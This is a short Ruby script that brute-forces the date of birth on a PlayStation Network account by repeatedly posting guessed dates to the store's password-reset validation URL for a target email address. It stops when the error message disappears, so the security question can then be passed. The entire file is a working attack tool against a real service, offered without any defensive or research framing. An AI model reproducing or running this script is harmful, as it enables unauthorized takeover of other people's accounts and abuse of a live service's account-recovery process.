#!/usr/bin/env ruby
#
# Usage: psn-reset foo@mailinator.com
#

require "net/https"
require "uri"

EMAIL_ADDR = ARGV[0]
PSN_RESET_URI = "https://store.playstation.com/accounts/reset/validateDob.action"

# Start 10 years ago

dob = Time.now - 10 * 365 * 24 * 60 * 60

loop do
	params = {
		"account.loginName" => EMAIL_ADDR,
		"account.dob" => sprintf("%02i", dob.day),
		"account.mob" => sprintf("%02i", dob.month),
		"account.yob" => sprintf("%04i", dob.year)
	}

	puts "Trying " + params['account.yob'] + "-" + \
	                 params['account.mob'] + "-" + \
			 params['account.dob'] + "..."

	url = URI.parse(PSN_RESET_URI)

	req = Net::HTTP::Post.new(url.path)
	req.set_form_data(params)

	http = Net::HTTP.new(url.host, url.port)
	http.use_ssl = true

	res = nil

	http.start do |http|
		res = http.request(req)
	end

	if res.body !~ /The information you entered was incorrect/
		puts "Correct date?"
		break
	end

	# Try the previous day

	dob -= 24 * 60 * 60
end

